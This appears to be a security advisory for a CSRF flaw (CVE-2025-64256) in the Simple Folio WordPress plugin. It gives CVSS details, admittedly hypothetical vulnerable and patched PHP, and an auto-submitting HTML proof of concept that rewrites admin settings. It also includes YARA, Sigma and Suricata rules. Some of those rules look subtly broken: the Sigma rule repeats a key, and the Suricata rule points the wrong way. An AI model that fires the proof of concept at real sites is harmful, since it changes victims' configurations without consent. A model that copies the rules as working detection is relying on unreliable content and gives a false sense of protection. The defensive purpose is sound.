CVE-2025-64256

Executive Summary

CVE-2025-64256 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the PressTigers Simple Folio WordPress plugin, affecting versions from n/a through 1.1.0. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings or creating/deleting portfolio items, without the victim's consent. The attack requires social engineering to trick an admin into clicking a crafted link or visiting a malicious page while logged into WordPress. The CVSS score is 4.3 (Medium), and no public exploit code or patch is currently available. Given the WordPress ecosystem context, this vulnerability poses a moderate risk to sites using the plugin, especially those with high-privilege user sessions.

Supply Chain & Package Security

This vulnerability is specific to the Simple Folio WordPress plugin, distributed via the WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is not actively maintained, and no official patch has been released, increasing supply chain risk for sites relying on this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network (AV:N) – The attack is executed remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Attacker does not need authentication.
• User Interaction: Required (UI:R) – Victim must be tricked into clicking a link or visiting a malicious page.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: Low (I:L) – Unauthorized modification of plugin settings or data is possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The attack requires user interaction, but the impact on integrity can lead to defacement or unauthorized changes.

Deep Dive & Mechanics

The Simple Folio plugin by PressTigers provides portfolio management functionality for WordPress. The CSRF vulnerability arises because the plugin fails to implement nonce validation or other anti-CSRF tokens in its administrative actions (e.g., saving settings, creating/editing portfolio items). An attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, triggers a forged request to the WordPress admin area (e.g., /wp-admin/admin-post.php?action=simple_folio_save_settings&...). Since the victim’s browser automatically includes their session cookies, the request is processed as legitimate.

The vulnerability is present in all versions up to and including 1.1.0. No patch has been released, and the plugin appears to be abandoned.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state. The following is a hypothetical example of the vulnerable pattern:

Vulnerable Code (simple-folio/admin/class-simple-folio-admin.php):

function save_settings() {
    if ( isset( $_POST['simple_folio_settings'] ) ) {
        update_option( 'simple_folio_settings', $_POST['simple_folio_settings'] );
        // No nonce check or referer validation
    }
}

Patched Code (Hypothetical):

function save_settings() {
    if ( ! isset( $_POST['simple_folio_nonce'] ) || ! wp_verify_nonce( $_POST['simple_folio_nonce'], 'simple_folio_save_settings' ) ) {
        wp_die( 'Security check failed.' );
    }
    if ( isset( $_POST['simple_folio_settings'] ) ) {
        update_option( 'simple_folio_settings', $_POST['simple_folio_settings'] );
    }
}

The patch adds a nonce check using wp_verify_nonce() to ensure the request originated from the intended admin page.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with Simple Folio plugin <= 1.1.0 installed and activated.
• An authenticated admin user session.

Exploit Steps:

1. Craft a malicious HTML page that auto-submits a form to the vulnerable endpoint.
2. Host the page on an attacker-controlled server or send it via email.
3. Trick the admin into visiting the page while logged into WordPress.

Example Malicious HTML (csrf.html):

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf_form">
  <input type="hidden" name="action" value="simple_folio_save_settings">
  <input type="hidden" name="simple_folio_settings[portfolio_title]" value="Hacked Portfolio">
  <input type="hidden" name="simple_folio_settings[enable_feature]" value="0">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>

Expected Outcome: The admin’s settings are modified without their consent.

Blue Team (Defense & Detection)

Detection Steps:

• Monitor for unexpected POST requests to /wp-admin/admin-post.php with action=simple_folio_* parameters.
• Check for missing _wpnonce or _wp_http_referer fields in admin POST requests.
• Use WordPress security plugins (e.g., Wordfence) to enforce CSRF tokens.

Mitigation:

• Disable or remove the Simple Folio plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php without a valid nonce.
• Educate administrators about phishing and social engineering risks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-post.php with action=simple_folio_* parameters and no _wpnonce field.
  • Referer header missing or pointing to an external domain.
• Host IOCs:
  • Unexpected changes in the wp_options table under simple_folio_settings.
  • Modified portfolio items or settings in the WordPress admin.
• File IOCs:
  • Log entries in wp-content/debug.log showing missing nonce errors (if WP_DEBUG enabled).

Detection Engineering

YARA Rule

rule Detect_Simple_Folio_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against Simple Folio plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64256"
    strings:
        $action = "simple_folio_save_settings" nocase
        $admin_post = "admin-post.php" nocase
        $missing_nonce = "_wpnonce" nocase
    condition:
        $action and $admin_post and not $missing_nonce
}

Sigma Rule

title: CSRF Exploit Against Simple Folio Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to admin-post.php with Simple Folio actions missing nonce
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 'admin-post.php'
        cs-uri-query|contains: 'action=simple_folio_'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions with nonce
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-64256 Simple Folio CSRF Exploit"; flow:to_server,established; content:"POST"; http_method; content:"admin-post.php"; http_uri; content:"action=simple_folio_"; http_uri; pcre:"/^((?!_wpnonce).)*$/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the Simple Folio plugin from all WordPress installations.
2. Audit for compromise: Check for unauthorized changes in plugin settings and portfolio data.
3. Implement WAF rules: Block POST requests to admin-post.php that lack a valid nonce.

Long-term Fix:

• Since no patch is available, migrate to an alternative portfolio plugin that is actively maintained and follows WordPress security best practices (e.g., nonce verification, capability checks).

Workaround:

• Use a WordPress security plugin (e.g., Wordfence, Sucuri) that adds CSRF protection to all admin actions.
• Restrict admin access to trusted IPs and enforce strong authentication (e.g., 2FA).

Valters IT
Securing Digital Frontiers